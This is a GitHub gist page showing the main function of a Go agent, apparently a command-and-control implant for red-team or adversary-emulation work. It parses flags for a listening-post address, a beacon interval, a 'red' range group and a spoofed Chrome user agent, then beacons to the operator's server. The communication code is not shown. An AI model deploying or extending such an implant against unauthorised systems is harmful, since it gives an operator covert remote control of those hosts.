Skip to content

Instantly share code, notes, and snippets.

@privateducky
Last active Dec 31, 2020
Embed
What would you like to do?
f33d: main.go
func main() {
name := flag.String("name", pickName(12), "Give this agent a name")
contact := flag.String("contact", "tcp", "Which contact to use")
address := flag.String("address", "0.0.0.0:2323", "The ip:port of the socket listening post")
group := flag.String("range", "red", "Which range to associate to")
sleep := flag.Int("sleep", 60, "Number of seconds to sleep between beacons")
useragent := flag.String("useragent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36", "User agent used when connecting")
flag.Parse()
sockets.UA = *useragent
if !strings.Contains(*address, ":") {
log.Println("Your address is incorrect")
os.Exit(1)
}
log.Printf("[%s] agent at PID %d using key %s", *contact, os.Getpid(), key)
sockets.CommunicationChannels[*contact].Communicate(*address, *sleep, buildBeacon(*name, *group))
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment